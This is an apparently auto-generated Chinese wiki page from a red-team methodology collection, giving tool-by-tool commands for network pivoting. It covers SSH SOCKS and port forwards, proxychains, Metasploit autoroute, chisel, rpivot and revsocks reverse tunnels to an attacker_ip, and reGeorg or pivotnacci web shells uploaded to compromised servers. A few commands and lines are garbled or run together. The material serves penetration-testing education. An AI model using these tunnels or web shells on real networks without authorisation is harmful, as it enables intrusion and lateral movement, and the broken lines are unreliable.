网络跳板是一种在渗透测试和红队行动中使用的技术,旨在访问攻击者位置无法直接访问的内部网络段。通过利用一个同时可访问两个网络的受感染系统(跳板),攻击者可以将流量路由通过该系统,以达到原本无法访问的目标。
本文档涵盖了在渗透测试期间实施网络跳板的各种方法和工具。有关跳板后可能执行的 Active Directory 攻击的信息,请参阅Active Directory 攻击方法。有关建立初始访问的信息,请参阅Windows - 使用凭据。
网络跳板技术通常分为三种基本模式
来源:方法论与资源/网络跳板技术.md:25-28
SOCKS 代理是网络跳板中常用的机制。下表显示了哪些工具支持哪些 SOCKS 版本
| 工具 | SOCKS4 | SOCKS4A | SOCKS5 |
|---|---|---|---|
| SSH | ❌ | ❌ | ✅ |
| Chisel | ✅ | ✅ | ✅ |
| reGeorg | ❌ | ❌ | ✅ |
| Metasploit | ✅ | ✅ | ✅ |
| ProxyChains | ✅ | ✅ | ✅ |
| Graftcp | ✅ | ✅ | ✅ |
| SSHuttle | 不适用(自定义) | 不适用(自定义) | 不适用(自定义) |
| GOST | ✅ | ✅ | ✅ |
| Rpivot | ✅ | ✅ | ✅ |
| RevSocks | ❌ | ❌ | ✅ |
来源:方法论与资源/网络跳板技术.md:5
来源:方法论与资源/网络跳板技术.md:6-23
Windows 内置的netsh命令允许无需额外工具进行简单的端口转发。
# Listen on local port 8080 and forward to 192.168.1.10:80
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=192.168.1.10
# Show current port forwarding rules
netsh interface portproxy show all
# Delete a port forwarding rule
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0
来源:方法论与资源/网络跳板技术.md:6
SSH 提供多种隧道方法
在攻击者机器上创建动态 SOCKS 代理,通过 SSH 连接路由流量。
# Create a SOCKS proxy on port 1080
ssh -D 1080 user@pivot_host
# Using with specific applications
curl --proxy socks5://127.0.0.1:1080 http://target_server
来源:方法论与资源/网络跳板技术.md:7-8
将攻击者机器上的本地端口通过跳板转发到远程目的地。
# Forward local port 8080 to target:80 through pivot_host
ssh -L 8080:target_server:80 user@pivot_host
# Access target_server:80 by connecting to localhost:8080
curl http://:8080
来源:方法论与资源/网络跳板技术.md:9
将跳板主机上的端口转发到攻击者机器,这在只有跳板能够发起连接时很有用。
# Forward pivot_host:8080 to attacker:80
ssh -R 8080:localhost:80 user@pivot_host
# Someone connecting to pivot_host:8080 will reach attacker:80
来源:方法论与资源/网络跳板技术.md:10
Proxychains 强制应用程序使用 SOCKS 或 HTTP 代理,即使它们没有内置的代理支持。
# Configure /etc/proxychains.conf with your proxy
socks5 127.0.0.1 1080
# Run commands through the proxy
proxychains nmap -sT -Pn 192.168.1.10
proxychains curl http://internal-server
来源:方法论与资源/网络跳板技术.md:11
与 proxychains 类似,但通过在更底层 Hook TCP 连接函数来工作,为某些应用程序提供更好的兼容性。
# Start graftcp with a SOCKS5 proxy
graftcp-local -socks5 127.0.0.1:1080
# Run commands through the proxy
graftcp curl http://internal-server
graftcp nmap -sT internal-server
来源:方法论与资源/网络跳板技术.md:12
通过 Web 服务器使用 Web Shell 隧道创建 SOCKS 代理。
# Upload tunnel.aspx/tunnel.php/tunnel.jsp to target web server
# Start the SOCKS proxy on attacker machine
python reGeorgSocksProxy.py -u http://compromised-server/tunnel.aspx -p 8080
# Use the proxy (default: 127.0.0.1:8080)
proxychains curl http://internal-target
来源:方法论与资源/网络跳板技术.md:13
与 reGeorg 类似,但具有额外的身份验证和加密功能。
# Upload pivotnacci web shell to compromised web server
# Start the SOCKS proxy
python pivotnacci.py --url http://compromised-server/pivot.php --password secret
# Use the proxy with proxychains
来源:方法论与资源/网络跳板技术.md:14
Metasploit 通过其路由和 SOCKS 代理模块提供跳板功能。
# After getting a Meterpreter session
meterpreter > run autoroute -s 192.168.1.0/24
# Start a SOCKS proxy
msf > use auxiliary/server/socks_proxy
msf > set SRVPORT 1080
msf > set VERSION 5
msf > run
# Use the proxy with other tools
proxychains nmap -sT 192.168.1.10
来源:方法论与资源/网络跳板技术.md:15
一种透明代理,通过 SSH 连接路由,无需管理员权限即可像 VPN 一样工作。
# Route 10.0.0.0/24 through the pivot_host
sshuttle -r user@pivot_host 10.0.0.0/24
# Route all traffic except to the pivot
sshuttle -r user@pivot_host 0.0.0.0/0 -x pivot_host
来源:方法论与资源/网络跳板技术.md:16
一个通过 HTTP 传输的快速 TCP/UDP 隧道,支持 SOCKS 代理。
# Server (attacker)
./chisel server -p 8080 --reverse
# Client (pivot)
./chisel client attacker_ip:8080 R:socks
# Client (forward local port to remote service)
./chisel client attacker_ip:8080 R:3306:internal_db_server:3306
chisel 的 .NET 封装,在 Windows 环境中,当运行二进制文件可能受限时很有用。
来源:方法论与资源/网络跳板技术.md:17-18
一个用 Go 编写的多功能安全隧道。
# Create a SOCKS5 server on the pivot
./gost -L=socks5://:1080
# Forward local port 8080 to remote 80
./gost -L=tcp://:8080/remote_host:80
# Chain multiple proxies
./gost -L=:8080 -F=socks5://pivot1:1080 -F=socks5://pivot2:1080
来源:方法论与资源/网络跳板技术.md:19
反向 SOCKS 代理,适用于只允许出站连接的场景。
# Server (attacker)
python server.py --proxy-port 1080 --server-port 9000
# Client (pivot)
python client.py --server-ip attacker_ip --server-port 9000
来源:方法论与资源/网络跳板技术.md:20
与 Rpivot 类似,但带有加密功能。
# Generate certificates
./revsocks --keygen
# Server (attacker)
./revsocks --server --listen 0.0.0.0:8443 --cert cert.pem --key key.pem
# Client (pivot)
./revsocks --connect attacker_ip:8443 --cert cert.pem --key key.pem --socks 127.0.0.1:1080
来源:方法论与资源/网络跳板技术.md:21
PuTTY 的命令行连接工具,适用于 Windows 系统。
# Create a remote port forward
plink.exe -ssh -R 8080:localhost:80 user@attacker_ip
# Create a SOCKS proxy
plink.exe -ssh -D 1080 user@attacker_ip
来源:方法论与资源/网络跳板技术.md:22
创建到本地主机的安全隧道,可以绕过防火墙和 NAT。
# Forward local port 80 to ngrok cloud
./ngrok http 80
# Forward TCP with custom subdomain
./ngrok tcp 22 --subdomain=myserver
来源:方法论与资源/网络跳板技术.md:23
在执行跳板操作期间,监控流量可以提供有价值的见解。
# Capture packets on interface 4, save to file
netsh trace start capture=yes tracefile=c:\temp\trace.etl maxsize=1024 filemode=circular overwrite=yes report=yes correlation=yes
# Stop the trace
netsh trace stop
# Convert to readable format
netsh trace convert input=c:\temp\trace.etl output=c:\temp\trace.txt
# Capture packets on interface eth0
tcpdump -i eth0 -w /tmp/capture.pcap
# Review captured traffic
tcpdump -r /tmp/capture.pcap
来源:方法论与资源/网络跳板技术.md:24
ssh -D 1080 user@dmz_serverproxychains nmap -sT 10.0.0.0/24proxychains curl http://10.0.0.10python reGeorgSocksProxy.py -u http://restricted-server/tunnel.aspx在授权渗透测试期间执行网络跳板时
来源:方法论与资源/网络跳板技术.md:25-29
刷新此 Wiki
最后索引时间2025 年 4 月 18 日(7eb75c)